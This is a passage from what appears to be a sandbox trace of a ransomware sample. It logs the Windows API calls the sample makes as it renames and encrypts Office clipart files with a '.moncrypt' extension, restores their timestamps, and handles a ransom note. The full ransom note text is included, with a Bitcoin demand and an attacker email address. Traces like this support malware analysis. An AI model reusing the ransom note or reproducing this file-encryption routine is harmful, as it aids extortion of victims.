CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0061.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", lpUsedDefaultChar=0x0) returned 63 [0061.939] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0061.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD06102_.WMF", lpUsedDefaultChar=0x0) returned 4 [0061.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 0x54e240 [0061.939] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0061.939] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0061.939] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", dwFileAttributes=0x20) returned 1 [0061.941] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0061.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.moncrypt")) returned 1 [0061.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.942] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.942] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x3ef0 [0061.942] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.942] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x3ef0, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x3ef0, lpOverlapped=0x0) returned 1 [0061.944] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.944] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.944] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.944] GlobalUnlock (hMem=0x44000c) returned 0 [0061.944] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0061.944] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0061.944] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.944] GlobalUnlock (hMem=0x440004) returned 0 [0061.944] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0061.944] GlobalUnlock (hMem=0x44000c) returned 0 [0061.945] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.945] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.945] GlobalUnlock (hMem=0x44000c) returned 0 [0061.945] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0061.945] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.945] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.945] GlobalUnlock (hMem=0x44000c) returned 0 [0061.945] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0061.945] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x3f10, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x3f10, lpOverlapped=0x0) returned 1 [0061.945] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0061.945] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0061.957] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0061.957] CloseHandle (hObject=0x188) returned 1 [0061.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.958] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0061.958] CloseHandle (hObject=0x188) returned 1 [0061.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0061.959] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0061.959] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.959] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.959] GlobalUnlock (hMem=0x44000c) returned 0 [0061.959] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.959] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.959] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.959] GlobalUnlock (hMem=0x44000c) returned 0 [0061.959] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.959] GlobalUnlock (hMem=0x440004) returned 0 [0061.959] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0061.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0061.959] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0061.959] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0061.959] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.960] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.960] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.960] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.960] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.960] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.960] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.960] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0061.960] CloseHandle (hObject=0x188) returned 1 [0061.960] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0061.960] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0061.960] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0061.961] GlobalLock (hMem=0x440004) returned 0x550170 [0061.961] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.961] GlobalUnlock (hMem=0x440004) returned 0 [0061.961] GlobalLock (hMem=0x440004) returned 0x550170 [0061.961] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.961] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.961] GlobalUnlock (hMem=0x440004) returned 0 [0061.961] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.961] GlobalUnlock (hMem=0x44000c) returned 0 [0061.961] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0061.961] CharLowerBuffW (in: lpsz="BD06200_.WMF", cchLength=0xc | out: lpsz="bd06200_.wmf") returned 0xc [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0061.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", lpUsedDefaultChar=0x0) returned 63 [0061.962] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0061.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD06200_.WMF", lpUsedDefaultChar=0x0) returned 4 [0061.962] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 0x54e240 [0061.962] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0061.962] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0061.962] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", dwFileAttributes=0x20) returned 1 [0061.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0061.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.moncrypt")) returned 1 [0061.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.964] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.964] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x4124 [0061.964] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.964] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0062.016] GlobalLock (hMem=0x44000c) returned 0x557b78 [0062.016] GlobalLock (hMem=0x440004) returned 0x550170 [0062.016] GlobalHandle (pMem=0x550170) returned 0x440004 [0062.016] GlobalUnlock (hMem=0x440004) returned 0 [0062.016] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0062.016] GlobalLock (hMem=0x440004) returned 0x55db88 [0062.016] GlobalHandle (pMem=0x55db88) returned 0x440004 [0062.016] GlobalUnlock (hMem=0x440004) returned 0 [0062.016] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0062.016] GlobalLock (hMem=0x440004) returned 0x55db88 [0062.016] GlobalHandle (pMem=0x557b78) returned 0x44000c [0062.016] GlobalUnlock (hMem=0x44000c) returned 0 [0062.016] GlobalHandle (pMem=0x55db88) returned 0x440004 [0062.016] GlobalUnlock (hMem=0x440004) returned 0 [0062.017] GlobalLock (hMem=0x440004) returned 0x550170 [0062.017] GlobalHandle (pMem=0x550170) returned 0x440004 [0062.017] GlobalUnlock (hMem=0x440004) returned 0 [0062.017] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0062.017] GlobalLock (hMem=0x440004) returned 0x557b78 [0062.017] GlobalHandle (pMem=0x557b78) returned 0x440004 [0062.017] GlobalUnlock (hMem=0x440004) returned 0 [0062.017] ReadFile (in: hFile=0x188, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0062.018] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0062.018] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0062.018] SetFilePointer (in: hFile=0x188, lDistanceToMove=16676, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x4124 [0062.018] WriteFile (in: hFile=0x188, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0062.018] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0062.018] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0062.029] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0062.030] CloseHandle (hObject=0x188) returned 1 [0062.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0062.031] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0062.031] CloseHandle (hObject=0x188) returned 1 [0062.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0062.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0062.031] GlobalLock (hMem=0x440004) returned 0x550170 [0062.032] GlobalHandle (pMem=0x550170) returned 0x440004 [0062.032] GlobalUnlock (hMem=0x440004) returned 0 [0062.032] GlobalLock (hMem=0x440004) returned 0x550170 [0062.032] GlobalLock (hMem=0x44000c) returned 0x557b78 [0062.032] GlobalHandle (pMem=0x550170) returned 0x440004 [0062.032] GlobalUnlock (hMem=0x440004) returned 0 [0062.032] GlobalHandle (pMem=0x557b78) returned 0x44000c [0062.032] GlobalUnlock (hMem=0x44000c) returned 0 [0062.032] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0062.032] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: 